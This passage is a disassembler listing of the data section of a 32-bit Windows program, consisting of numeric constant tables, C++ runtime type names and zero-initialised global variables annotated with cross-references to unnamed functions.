		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: ___:00424EDCo
					; ___:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: ___:off_424D90o
					; ___:00424DD0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: ___:off_424DD8o
					; ___:00424E1Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset off_424D00
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_43C3C8	dd offset off_424D00	; DATA XREF: ___:00424EACo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42086E
		align 8
byte_43C3E8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_43C3EA	dw 0			; DATA XREF: sub_40144A+1E3w
word_43C3EC	dw 0			; DATA XREF: sub_40144A+1E9w
word_43C3EE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_43C3F0	db 0			; DATA XREF: sub_40144A+1F7w
byte_43C3F1	db 0			; DATA XREF: sub_40144A+1FEw
word_43C3F2	dw 0			; DATA XREF: sub_40144A+204w
dword_43C3F4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_43C3F8	dd 0			; DATA XREF: sub_40144A+258w
byte_43C3FC	db 0			; DATA XREF: sub_40144A+26Aw
byte_43C3FD	db 0			; DATA XREF: sub_40144A+27Dw
word_43C3FE	dw 0			; DATA XREF: sub_40144A+295w
word_43C400	dw 0			; DATA XREF: sub_40144A+2A4w
word_43C402	dw 0			; DATA XREF: sub_40144A+29Cw
dword_43C404	dd 101h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_43C808	dd 0			; DATA XREF: sub_4029E9+9Eo
byte_43C80C	db 0			; DATA XREF: sub_4029E9+36r
					; sub_402ACC+37r ...
		align 10h
dword_43C810	dd 0			; DATA XREF: sub_4030D1+10w
					; sub_4030E8+30r ...
		dd 2 dup(0)
dword_43C81C	dd 2 dup(0)		; DATA XREF: sub_403EBA+68o
dword_43C824	dd 0			; DATA XREF: sub_40395A+13o
					; sub_40EE72+610Bo ...
dword_43C828	dd 0			; DATA XREF: sub_404853+8w
					; ___:00404C22o
		align 10h
dword_43C830	dd 2 dup(0)		; DATA XREF: ___:00404B58o
dword_43C838	dd 0			; DATA XREF: sub_4059DB+2Aw
					; sub_4059DB+51r ...
dword_43C83C	dd 0			; DATA XREF: sub_4030E8+AEr
					; ___:004042D4r ...
		dd 2 dup(0)
dword_43C848	dd 0			; DATA XREF: sub_4071DB+18r
					; sub_40762E+92w ...
dword_43C84C	dd 0			; DATA XREF: sub_407767+4Dr
					; sub_40797F+D9w ...
		dd 3E6h	dup(0)
dword_43D7E8	dd 6 dup(0)		; DATA XREF: sub_407767+D2o
					; sub_407767+13Bo ...
dword_43D800	dd 0			; DATA XREF: sub_407252+82w
					; sub_407252+102o
dword_43D804	dd 41h dup(0)		; DATA XREF: sub_407252+41o
dword_43D908	dd 41h dup(0)		; DATA XREF: sub_407252+63o
dword_43DA0C	dd 0			; DATA XREF: sub_407252+F8w
					; sub_407252+114r
dword_43DA10	dd 0			; DATA XREF: sub_407252+52w
dword_43DA14	dd 0			; DATA XREF: sub_407252+4Dw
					; sub_407252+CFr
dword_43DA18	dd 20h dup(0)		; DATA XREF: sub_407252+9Ao
					; sub_407252+BAo
dword_43DA98	dd 0			; DATA XREF: sub_407252+8Fw
dword_43DA9C	dd 0			; DATA XREF: sub_407252+A7w
					; sub_407252+C7w
dword_43DAA0	dd 0			; DATA XREF: sub_407252:loc_40737Cr
		align 8
dword_43DAA8	dd 0			; DATA XREF: sub_407252+2D5w
					; sub_407252+32Eo
dword_43DAAC	dd 0A2h	dup(0)		; DATA XREF: sub_407252+2C3o
dword_43DD34	dd 41h dup(0)		; DATA XREF: sub_407252+28Do
dword_43DE38	dd 0			; DATA XREF: sub_407252+2BAw
					; sub_407252+2E1r
		align 10h
dword_43DE40	dd 0			; DATA XREF: sub_407252+324w
					; sub_407252+340r
dword_43DE44	dd 0			; DATA XREF: sub_407252+2E7w
dword_43DE48	dd 0			; DATA XREF: sub_407252+2F4w
dword_43DE4C	dd 0			; DATA XREF: sub_407252+2B4w
		dd 0
dword_43DE54	dd 0			; DATA XREF: sub_407252:loc_4075A8r
dword_43DE58	dd 0			; DATA XREF: sub_407252+1A1w
					; sub_407252+221o
dword_43DE5C	dd 41h dup(0)		; DATA XREF: sub_407252+163o
dword_43DF60	dd 41h dup(0)		; DATA XREF: sub_407252+182o
dword_43E064	dd 0			; DATA XREF: sub_407252+217w
					; sub_407252+233r
dword_43E068	dd 0			; DATA XREF: sub_407252+171w
dword_43E06C	dd 0			; DATA XREF: sub_407252+1EEr
dword_43E070	dd 20h dup(0)		; DATA XREF: sub_407252+1B9o
					; sub_407252+1D9o
dword_43E0F0	dd 0			; DATA XREF: sub_407252+1AEw
dword_43E0F4	dd 0			; DATA XREF: sub_407252+1C6w
					; sub_407252+1E6w
dword_43E0F8	dd 0			; DATA XREF: sub_407252:loc_40749Cr
		align 10h
dword_43E100	dd 0			; DATA XREF: sub_4087EE+Fr
					; sub_4089E7+12r
		align 8
dword_43E108	dd 80h dup(0)		; DATA XREF: sub_409706+41o
dword_43E308	dd 200h	dup(0)		; DATA XREF: sub_409037+C7o
					; sub_409392+DDo ...
dword_43EB08	dd 200h	dup(0)		; DATA XREF: sub_409037+D6o
					; sub_409392+F4o ...
dword_43F308	dd 0			; DATA XREF: sub_409037+86w
					; sub_409209+94r
dword_43F30C	dd 0			; DATA XREF: sub_409037+A7w
					; sub_40966F+55r ...
dword_43F310	dd 0			; DATA XREF: sub_409037+A0w
					; sub_409209+D6r ...
dword_43F314	dd 0			; DATA XREF: sub_409037+79w
					; sub_409209+35r ...
dword_43F318	dd 80h dup(0)		; DATA XREF: sub_40966F+5Eo
dword_43F518	dd 0			; DATA XREF: sub_409037+93w
					; sub_409209+A2r
		align 10h
dword_43F520	dd 0			; DATA XREF: sub_409037+E7o
					; sub_409037+103r ...
dword_43F524	dd 0			; DATA XREF: sub_409392+17Bw
					; sub_409539+107w
dword_43F528	dd 0			; DATA XREF: sub_409392+180w
					; sub_409539+10Dw ...
dword_43F52C	dd 0			; DATA XREF: sub_409392+159w
					; sub_40966F+4Fr
dword_43F530	dd 0			; DATA XREF: sub_4085B3+210r
					; sub_4085B3+21Ar ...
dword_43F534	dd 0			; DATA XREF: sub_40981F+65w
					; sub_415188+F5r
dword_43F538	dd 0			; DATA XREF: sub_40981F+7EDw
					; sub_40981F+862r ...
dword_43F53C	dd 0			; DATA XREF: sub_40981F+9BAw
					; sub_40981F+A18r ...
dword_43F540	dd 0			; DATA XREF: sub_40981F+96Cw
					; sub_40981F+9E8r ...
dword_43F544	dd 0			; DATA XREF: sub_4085B3+D1r
					; sub_40981F+46Fw ...
dword_43F548	dd 0			; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43F54C	dd 0			; DATA XREF: sub_40981F+9ADw
					; sub_40981F+A10r ...
dword_43F550	dd 0			; DATA XREF: sub_40981F+354w
					; sub_40981F+3A9r ...
dword_43F554	dd 0			; DATA XREF: sub_40981F+3F1w
					; sub_40B8D8+11Er
dword_43F558	dd 0			; DATA XREF: sub_40981F+361w
					; sub_40981F+3B1r ...
dword_43F55C	dd 0			; DATA XREF: sub_40981F+3A2w
					; sub_40DCE6+ADr
dword_43F560	dd 0			; DATA XREF: sub_405AF2+115r
					; sub_4084B3+7Dr ...
dword_43F564	dd 0			; DATA XREF: sub_40981F+72w
					; sub_40981F+D2r ...
dword_43F568	dd 0			; DATA XREF: sub_40981F+95Fw
					; sub_40981F+9DBr ...
dword_43F56C	dd 0			; DATA XREF: sub_40981F+388w
					; sub_40981F+3C9r ...
dword_43F570	dd 0			; DATA XREF: sub_40981F+83Bw
					; sub_40981F+88Er ...
dword_43F574	dd 0			; DATA XREF: sub_408C26+58r
					; sub_40981F+2A5w ...
dword_43F578	dd 0			; DATA XREF: sub_40981F+82Ew
					; sub_40981F+886r ...
dword_43F57C	dd 0			; DATA XREF: sub_40981F+B3w
dword_43F580	dd 0			; DATA XREF: sub_40981F+848w
					; sub_40981F+896r ...
dword_43F584	dd 0			; DATA XREF: sub_407BDE+7Er
					; sub_40981F+52Fw ...
dword_43F588	dd 0			; DATA XREF: sub_40981F+58w
					; sub_40981F+CAr ...
dword_43F58C	dd 0			; DATA XREF: sub_40981F+916w
					; sub_40AF86+11Ar
dword_43F590	dd 0			; DATA XREF: sub_40981F+A66w
					; sub_40981F+A6Dr ...
dword_43F594	dd 0			; DATA XREF: sub_40981F+A6w
					; sub_40981F+F2r
dword_43F598	dd 0			; DATA XREF: sub_4085B3+119r
					; sub_40981F+462w ...
dword_43F59C	dd 0			; DATA XREF: sub_4075E6+20r
					; sub_40981F+5D8w
dword_43F5A0	dd 0			; DATA XREF: sub_40981F+9A0w
					; sub_40981F+A08r
dword_43F5A4	dd 0			; DATA XREF: sub_402688+280r
					; sub_40981F+5CBw ...
dword_43F5A8	dd 0			; DATA XREF: sub_402ACC+9Ar
					; sub_40981F+B21w
dword_43F5AC	dd 0			; DATA XREF: sub_40981F+7E0w
					; sub_40981F+84Fr ...
dword_43F5B0	dd 0			; DATA XREF: sub_40981F+1B3w
					; sub_40AC20+15r
dword_43F5B4	dd 0			; DATA XREF: sub_40981F+979w
					; sub_40981F+9F0r ...
dword_43F5B8	dd 0			; DATA XREF: sub_40981F+36Ew
					; sub_40981F+3B9r ...
dword_43F5BC	dd 0			; DATA XREF: sub_40981F+37Bw
					; sub_40981F+3C1r ...
dword_43F5C0	dd 0			; DATA XREF: sub_4087EE+28r
					; sub_4089E7+2Br ...
dword_43F5C4	dd 0			; DATA XREF: sub_40981F+68Ew
					; ___:0041554Er
dword_43F5C8	dd 0			; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_43F5CC	dd 0			; DATA XREF: sub_4085B3+207r
					; sub_40981F+496w
dword_43F5D0	dd 0			; DATA XREF: sub_40981F+9C7w
					; sub_40981F+A20r ...
dword_43F5D4	dd 0			; DATA XREF: sub_40981F+2B2w
					; sub_40981F+2DEr ...
dword_43F5D8	dd 0			; DATA XREF: sub_40981F+7Fw
					; sub_40981F+DAr ...
dword_43F5DC	dd 0			; DATA XREF: sub_40981F+B6Ew
					; sub_40981F+B75r ...
dword_43F5E0	dd 0			; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_43F5E4	dd 0			; DATA XREF: sub_40981F+807w
					; sub_40981F+872r ...
dword_43F5E8	dd 0			; DATA XREF: sub_40981F+986w
					; sub_40981F+9F8r
dword_43F5EC	dd 0			; DATA XREF: sub_40981F+BDFw
					; sub_40981F+C10r
dword_43F5F0	dd 0			; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_43F5F4	dd 0			; DATA XREF: sub_40981F+8FCw
					; sub_40981F+910r ...
dword_43F5F8	dd 0			; DATA XREF: sub_40981F+BF9w
dword_43F5FC	dd 0			; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_43F600	dd 0			; DATA XREF: sub_40981F+821w
					; sub_40981F+855r
dword_43F604	dd 0			; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_43F608	dd 0			; DATA XREF: sub_4087EE+3Fr
					; sub_4087EE+69r ...
dword_43F60C	dd 0			; DATA XREF: sub_40981F+65Aw
					; sub_40981F+786r ...
dword_43F610	dd 0			; DATA XREF: sub_402DD7+20Ar
					; sub_4030E8+5Er ...
dword_43F614	dd 0			; DATA XREF: sub_402688+16Er
					; sub_40981F+549w ...
dword_43F618	dd 0			; DATA XREF: sub_40981F+8BDw
					; sub_40981F:loc_40A0FAw ...
dword_43F61C	dd 0			; DATA XREF: sub_40981F+28Bw
					; sub_40981F+2C6r ...
dword_43F620	dd 0			; DATA XREF: ___:00407DFEr
					; sub_40981F+681w ...
dword_43F624	dd 0			; DATA XREF: sub_40981F+30Fw
					; sub_40981F+323r ...
dword_43F628	dd 0			; DATA XREF: sub_40981F+395w
					; sub_40981F+3D1r ...
dword_43F62C	dd 0			; DATA XREF: sub_40981F+BD2w
					; sub_40981F+C08r
dword_43F630	dd 0			; DATA XREF: sub_40981F+7FAw
					; sub_40981F+86Ar ...
dword_43F634	dd 0			; DATA XREF: sub_4023A7+FCr
					; sub_40981F+206w ...
dword_43F638	dd 0			; DATA XREF: sub_40981F+18Cw
					; sub_40981F+1D2r ...
dword_43F63C	dd 0			; DATA XREF: sub_40981F+814w
					; sub_40981F+87Ar ...
dword_43F640	dd 0			; DATA XREF: sub_406C19+244r
					; sub_40981F+606w ...
dword_43F644	dd 0			; DATA XREF: sub_408C26+18Ar
					; sub_40981F+2BFw ...
dword_43F648	dd 0			; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43F64C	dd 0			; DATA XREF: sub_40981F+302w
					; sub_40981F+316r ...
dword_43F650	dd 0			; DATA XREF: sub_405AF2+F9r
					; sub_406C19+1FCr ...
dword_43F654	dd 0			; DATA XREF: sub_4085B3+16r
					; sub_40981F+42Ew ...
dword_43F658	dd 0			; DATA XREF: sub_40981F+199w
					; sub_40981F+1DAr ...
dword_43F65C	dd 0			; DATA XREF: sub_40981F+347w
					; sub_40981F+39Cr ...
dword_43F660	dd 0			; DATA XREF: sub_40981F+A73w
dword_43F664	dd 0			; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_43F668	dd 0			; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43F66C	dd 0			; DATA XREF: sub_40981F+4Bw
					; sub_40981F+C2r ...
dword_43F670	dd 0			; DATA XREF: sub_4085B3+2Cr
					; sub_4085B3+38r ...
dword_43F674	dd 0			; DATA XREF: sub_40981F+165w
					; sub_40981F+1BAr ...
dword_43F678	dd 0			; DATA XREF: sub_40981F+9E1w
					; sub_40E5EB+72r
dword_43F67C	dd 0			; DATA XREF: sub_40981F+667w
					; sub_40981F+78Er
dword_43F680	dd 0			; DATA XREF: sub_402688+205r
					; sub_402DD7+23Br ...
dword_43F684	dd 0			; DATA XREF: sub_40981F+BECw
					; sub_40981F+C18r
dword_43F688	dd 0			; DATA XREF: sub_40981F+3Ew
					; sub_40981F+BAr ...
dword_43F68C	dd 0			; DATA XREF: sub_40981F+298w
					; sub_40981F+2CEr ...
dword_43F690	dd 0			; DATA XREF: sub_405AF2+9Er
					; sub_407BDE+9Cr ...
dword_43F694	dd 0			; DATA XREF: sub_402688+EBr
					; sub_405AF2+89r ...
dword_43F698	dd 0			; DATA XREF: sub_40981F+C63w
					; sub_40EE72+4624r
dword_43F69C	dd 0			; DATA XREF: sub_40981F+85Bw
					; sub_40BC4B+205r ...
dword_43F6A0	dd 0			; DATA XREF: sub_40981F+112w
dword_43F6A4	dd 0			; DATA XREF: sub_40981F+BB8w
					; sub_40981F+BF3r
dword_43F6A8	dd 0			; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_43F6AC	dd 0			; DATA XREF: sub_4085B3+BCr
					; sub_40981F+43Bw ...
dword_43F6B0	dd 0			; DATA XREF: sub_4085B3+FBr
					; sub_40981F+47Cw ...
dword_43F6B4	dd 0			; DATA XREF: sub_4085B3+65r
					; sub_40981F+448w ...
dword_43F6B8	dd 0			; DATA XREF: sub_402DD7+221r
					; sub_402DD7+249r ...
dword_43F6BC	dd 0			; DATA XREF: sub_40981F+1A6w
					; sub_40981F+1E2r ...
dword_43F6C0	dd 0			; DATA XREF: sub_40981F+9D4w
					; sub_40981F+A28r ...
dword_43F6C4	dd 0			; DATA XREF: sub_4087EE+53r
					; sub_4087EE+7Fr ...
dword_43F6C8	dd 0			; DATA XREF: sub_40981F+8Cw
					; sub_40981F+E2r ...
dword_43F6CC	dd 0			; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_43F6D0	dd 0			; DATA XREF: sub_40981F+B14w
					; sub_40981F+B30r
dword_43F6D4	dd 0			; DATA XREF: sub_40981F+31Cw
					; sub_41511D+55r
dword_43F6D8	dd 0			; DATA XREF: sub_408C26+3Fr
					; sub_40981F+27Ew ...
dword_43F6DC	dd 0			; DATA XREF: sub_40981F+B7Bw
dword_43F6E0	dd 0			; DATA XREF: sub_40981F+ABDw
					; sub_40AE02+CEr
dword_43F6E4	dd 0			; DATA XREF: sub_40981F+AB0w
					; sub_40981F+AB7r ...
dword_43F6E8	dd 0			; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_43F6EC	dd 0			; DATA XREF: ___:00407DEEr
					; sub_40981F+674w ...
dword_43F6F0	dd 0			; DATA XREF: sub_40981F+BC5w
					; sub_40981F+C00r
dword_43F6F4	dd 0			; DATA XREF: sub_402688+28Dr
					; sub_406C19+250r ...
dword_43F6F8	dd 0			; DATA XREF: sub_40981F+993w
					; sub_40981F+A00r ...
dword_43F6FC	dd 0			; DATA XREF: sub_405AF2+13Ar
					; sub_407BDE+B3r ...
dword_43F700	dd 0			; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_43F704	dd 0			; DATA XREF: sub_405AF2+B7r
					; sub_405AF2+39Fr ...
dword_43F708	dd 0			; DATA XREF: sub_4029E9+B0r
					; sub_4029E9+C8r ...
dword_43F70C	dd 0			; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_43F710	dd 0			; DATA XREF: sub_40981F+AFAw
					; sub_40981F+B1Br
dword_43F714	dd 0			; DATA XREF: sub_40981F+31w
					; sub_40981F+ADr ...
dword_43F718	dd 0			; DATA XREF: sub_4087EE+1ECr
					; sub_4089E7+232r ...
		align 10h
dword_43F720	dd 0			; DATA XREF: sub_40981F+909w
					; sub_40981F+91Dr ...
dword_43F724	dd 0			; DATA XREF: sub_40981F+99w
					; sub_40981F+EAr ...
dword_43F728	dd 0			; DATA XREF: sub_40981F:loc_40991Dw
					; sub_40981F+12Bw ...
dword_43F72C	dd 0			; DATA XREF: sub_40981F+126w
					; sub_40A4AC+1Cr
dword_43F730	dd 0			; DATA XREF: sub_40981F:loc_409A0Dw
					; sub_40981F:loc_409A74w ...
dword_43F734	dd 0			; DATA XREF: sub_40981F+250w
					; sub_40A4AC+50r
dword_43F738	dd 0			; DATA XREF: sub_40981F:loc_409B09w
					; sub_40981F:loc_409B4Ew ...
dword_43F73C	dd 0			; DATA XREF: sub_40981F+400w
					; sub_40A4AC+84r
dword_43F740	dd 0			; DATA XREF: sub_40981F:loc_409D05w
					; sub_40A4AC:loc_40A55Cr
dword_43F744	dd 0			; DATA XREF: sub_40981F+4E1w
					; sub_40A4AC+B8r
dword_43F748	dd 0			; DATA XREF: sub_40981F:loc_409FD6w
					; sub_40A4AC:loc_40A590r
dword_43F74C	dd 0			; DATA XREF: sub_40981F+7B2w
					; sub_40A4AC+ECr
dword_43F750	dd 0			; DATA XREF: sub_40981F:loc_40A0C1w
					; sub_40981F+8D1w ...
dword_43F754	dd 0			; DATA XREF: sub_40981F+8CCw
					; sub_40A4AC+120r
dword_43F758	dd 0			; DATA XREF: sub_40981F:loc_40A155w
					; sub_40A4AC:loc_40A5F8r ...
dword_43F75C	dd 0			; DATA XREF: sub_40981F+931w
					; sub_40A4AC+154r
dword_43F760	dd 0			; DATA XREF: sub_40981F:loc_40A260w
					; sub_40A4AC:loc_40A62Cr ...
dword_43F764	dd 0			; DATA XREF: sub_40981F+A3Cw
					; sub_40A4AC+188r
dword_43F768	dd 0			; DATA XREF: sub_40981F:loc_40A2AAw
					; sub_40A4AC:loc_40A660r
dword_43F76C	dd 0			; DATA XREF: sub_40981F+A86w
					; sub_40A4AC+1BCr
dword_43F770	dd 0			; DATA XREF: sub_40981F:loc_40A2F4w
					; sub_40A4AC:loc_40A694r
dword_43F774	dd 0			; DATA XREF: sub_40981F+AD0w
					; sub_40A4AC+1F0r
dword_43F778	dd 0			; DATA XREF: sub_40981F:loc_40A368w
					; sub_40A4AC:loc_40A6C8r
dword_43F77C	dd 0			; DATA XREF: sub_40981F+B44w
					; sub_40A4AC+224r
dword_43F780	dd 0			; DATA XREF: sub_40981F:loc_40A3B2w
					; sub_40A4AC:loc_40A6FCr
dword_43F784	dd 0			; DATA XREF: sub_40981F+B8Ew
					; sub_40A4AC+258r
dword_43F788	dd 0			; DATA XREF: sub_40981F:loc_40A450w
					; sub_40A4AC:loc_40A730r
dword_43F78C	dd 0			; DATA XREF: sub_40981F+C2Cw
					; sub_40A4AC+28Cr
dword_43F790	dd 0			; DATA XREF: sub_40981F:loc_40A49Aw
					; sub_40A4AC:loc_40A764r
dword_43F794	dd 0			; DATA XREF: sub_40981F+C76w
					; sub_40A4AC+2C0r
dword_43F798	dd 81h dup(0)		; DATA XREF: sub_40AA35+6Ao
dword_43F99C	dd 5 dup(0)		; DATA XREF: sub_40AEE0+32o
dword_43F9B0	dd 0			; DATA XREF: sub_40B328:loc_40B349r
					; sub_40B417+54r ...
dword_43F9B4	dd 0			; DATA XREF: sub_40B328r
					; sub_40B417+37r ...
dword_43F9B8	dd 0			; DATA XREF: sub_40B358+1Ar
					; sub_40B56C+83o
dword_43F9BC	dd 0			; DATA XREF: sub_40B328:loc_40B33Cr
					; sub_40B56C+11Bw
dword_43F9C0	dd 0Dh dup(0)		; DATA XREF: sub_40B417+13o
					; sub_40B56C:loc_40B6A9o
dword_43F9F4	dd 0			; DATA XREF: sub_40B417+CDr
					; sub_40B417+ECr ...
		dd 0
dword_43F9FC	dd 0Eh dup(0)		; DATA XREF: sub_40B721+47o
dword_43FA34	dd 1000h dup(0)		; DATA XREF: sub_40BF6D+1Do
					; sub_40C00Do ...
dword_443A34	dd 0			; DATA XREF: sub_40BF6D+13o
					; sub_40C00D+Eo ...
dword_443A38	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_443A70	dd 2 dup(0)		; DATA XREF: sub_40D3A5+C8o
dword_443A78	dd 17h dup(0)		; DATA XREF: sub_40D835:loc_40D952o
					; sub_40D835+131o ...
dword_443AD4	dd 80h dup(0)		; DATA XREF: sub_40E5EB+7Co
					; sub_40E5EB+A5o
dword_443CD4	dd 0			; DATA XREF: sub_40DBB0+45w
					; sub_40DBB0+4Dr ...
dword_443CD8	dd 17h dup(0)		; DATA XREF: sub_40E4B7:loc_40E5D9o
					; sub_40E4B7+12Do
dword_443D34	dd 80h dup(0)		; DATA XREF: sub_40DAF0+4Co
					; sub_40DAF0+7Eo ...
byte_443F34	db 0			; DATA XREF: sub_40DBB0+29r
					; sub_40DBB0+34w
		align 4
dword_443F38	dd 80h dup(0)		; DATA XREF: sub_40DE07+61o
					; sub_40DE07+89o ...
dword_444138	dd 82h dup(0)		; DATA XREF: sub_40D719:loc_40D751o
					; sub_40D719+5Bo
dword_444340	dd 0			; DATA XREF: sub_40BE75+Ao
					; sub_40BE75+44r ...
		dd 5 dup(0)
dword_444358	dd 0			; DATA XREF: sub_40BE75+60r
					; sub_40EE72+BD6r
		dd 2D9h	dup(0)
dword_444EC0	dd 0			; DATA XREF: sub_407767+A8r
					; sub_40BE75+2Do ...
		dd 7Fh dup(0)
dword_4450C0	dd 0			; DATA XREF: sub_416D5A+41w
					; sub_416E95+40w ...
dword_4450C4	dd 0			; DATA XREF: sub_4060D0+23Bw
					; sub_407767:loc_4077AEr ...
dword_4450C8	dd 0			; DATA XREF: sub_40B56C+164w
					; sub_41680E+AEw ...
dword_4450CC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_405AF2+7Ew ...
dword_4450D0	dd 0			; DATA XREF: ___:00407E84w
					; ___:00407FA0r ...
dword_4450D4	dd 0			; DATA XREF: sub_4060D0+268w
					; sub_407252+122w ...
byte_4450D8	db 0			; DATA XREF: sub_40EB92+91o
					; sub_40EE72+3357r ...
		align 4
		dd 19Dh	dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:off_42A2D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042CCA8o
dword_450050	dd 0E700h dup(0)
dword_489C50	dd 0			; DATA XREF: sub_407110:loc_40717Er
					; ___:0040E6E3w ...
		align 8
dword_489C58	dd 0			; DATA XREF: ___:loc_40EAA4o
dword_489C5C	dd 20h dup(0)		; DATA XREF: ___:0040EA3Co
					; ___:0040EAF5o ...
dword_489CDC	dd 10h dup(0)		; DATA XREF: ___:0040EA53o
					; sub_40EE72+929o
dword_489D1C	dd 24h dup(0)		; DATA XREF: ___:0040EA6Ao
dword_489DAC	dd 0			; DATA XREF: ___:0040EA5Ew
					; ___:0040EB0Cw ...
dword_489DB0	dd 0			; DATA XREF: ___:0040EA7Dw
		align 10h
dword_489DC0	dd 0			; DATA XREF: sub_40EB92+72r
					; sub_40EE72+273r
		align 8
byte_489DC8	db 0			; DATA XREF: sub_40ECFA+28r
					; sub_40ECFA+30o
		align 4
dword_489DCC	dd 0			; DATA XREF: ___:0040EAA9w
					; ___:0040EAC0r ...
dword_489DD0	dd 0			; DATA XREF: ___:0040EA41w
					; sub_40EE72+8CAr
		dd 2 dup(0)
dword_489DDC	dd 0			; DATA XREF: ___:004155C4r
		dd 0
dword_489DE4	dd 1Bh dup(0)		; DATA XREF: sub_415D68+8Do
dword_489E50	dd 0			; DATA XREF: sub_416FA2+16o
					; sub_416FC1+19o
dword_489E54	dd 65h dup(0)		; DATA XREF: sub_416F55+3Do
byte_489FE8	db 0			; DATA XREF: sub_416C53+6Ar
					; sub_416C53+98w
		align 4
		dd 2 dup(0)
dword_489FF4	dd 0			; DATA XREF: sub_417D73+Aw
dword_489FF8	dd 0			; DATA XREF: sub_4186B1+5Er
					; sub_4186B1+A4w
		align 10h
word_48A000	dw 0			; DATA XREF: sub_4186B1+55r
					; sub_4186B1+9Ao
word_48A002	dw 0			; DATA XREF: sub_4186B1+48r
		db 2 dup(0)
word_48A006	dw 0			; DATA XREF: sub_4186B1+3Br
word_48A008	dw 0			; DATA XREF: sub_4186B1+2Er
word_48A00A	dw 0			; DATA XREF: sub_4186B1+21r
		align 10h
dword_48A010	dd 0			; DATA XREF: sub_418B6E+3Br
					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
